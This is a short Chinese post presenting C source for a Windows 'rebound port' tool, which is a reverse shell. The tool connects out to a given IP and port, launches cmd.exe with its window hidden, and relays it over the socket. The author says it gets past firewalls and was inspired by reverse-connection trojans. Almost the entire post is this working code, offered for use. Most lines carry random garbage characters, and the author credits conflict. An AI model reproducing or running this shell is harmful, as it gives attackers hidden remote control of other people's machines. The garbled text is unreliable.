Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 S}ZM;M  
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/* ============================== `ag>4?7?  
Rebound port in Windows NT U0UOubA  
By wind,2006/7 =f=MtH?0y  
===============================*/ 9C3q4.$D  
#include k}Ahvlq)  
#include |.)dOk,o  
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#pragma comment(lib,"wsock32.lib") Hi<{c  
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void OutputShell(); 0|P RCq  
SOCKET sClient; ,Q >u N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) uRwIxT2  
{ o#H"tYP  
WSADATA stWsaData; EZE/~$`3  
int nRet; V+cHL  
SOCKADDR_IN stSaiClient,stSaiServer; w6v P a  
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if(argc != 3) om9fg66  
{ pH'#v]"  
printf("Useage:\n\rRebound DestIP DestPort\n"); bU(t5 [
  
return; U!^\DocAY  
} fMI4'.Od  
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WSAStartup(MAKEWORD(2,2),&stWsaData); cYmMO[4YG'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :Y~fPke  
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stSaiClient.sin_family = AF_INET; RY&Wvkjh  
stSaiClient.sin_port = htons(0); ;' YM@n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZGe+w](  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &*/8Ojv)9  
{ E(>RmPP=7  
printf("Bind Socket Failed!\n"); [:TOU^  
return; tDF6%RG  
} {pE")O7~P  
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stSaiServer.sin_family = AF_INET; D8C@x`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a[[u>oHyd  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j*rra  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z?O aY4  
{ h 5t,5e}  
printf("Connect Error!"); `lqMifD  
return; <s)+V6\E  
} 03iO4yOu  
OutputShell(); ^SVdaQ{7  
} i~PN(h  
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void OutputShell() L&][730  
{ k2_ "  
char szBuff[1024]; 4:y;<8+j\  
SECURITY_ATTRIBUTES stSecurityAttributes; q --NLm@;  
OSVERSIONINFO stOsversionInfo; w<.{(1:v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WojZ[j>  
STARTUPINFO stStartupInfo; O>lF{yO0`  
char *szShell; P`cEu6:  
PROCESS_INFORMATION stProcessInformation; (zCas}YAKI  
unsigned long lBytesRead; .~4%TsBaY  

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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yf2U-s  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u&9|9+"N  
stSecurityAttributes.lpSecurityDescriptor = 0; HhH[pE  
stSecurityAttributes.bInheritHandle = TRUE; ;vc$;54K  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ''s]6Jjw  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )PVX)2P_C  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `7LN?- T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4?jXbC k~x  
stStartupInfo.wShowWindow = SW_HIDE; {~.h;'m  
stStartupInfo.hStdInput = hReadPipe; ?9i 7w1`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sX^m1v~N|  
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GetVersionEx(&stOsversionInfo); pMHY2t  
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switch(stOsversionInfo.dwPlatformId) 66,
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{ ICTl{|i ]  
case 1: ]<WKi=  
szShell = "command.com"; XuVbi=pN.2  
break; %($sj|_l  
default: W+Z] Y  
szShell = "cmd.exe"; Z6 E-FuO  
break; dUk^DI,:l  
} bu1O<*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9mIq9rQ|*  
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send(sClient,szMsg,77,0); w[qWr@
  
while(1) r%}wPN(?D  
{ #5-0R7
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .\7R/cP}{A  
if(lBytesRead) ,/BBG\mJ  
{   lCr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BXiuVx  
send(sClient,szBuff,lBytesRead,0); JVD#wwic  
} B-
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else Ia*eb%HG  
{ 6! \a8q'z  
lBytesRead=recv(sClient,szBuff,1024,0); _S7GkpoK  
if(lBytesRead<=0) break; <*<7p{x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t \kI( G  
} w4<RV:Vmt  
} XsQ?&xK=u  
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return; n9B1NM5 \  
}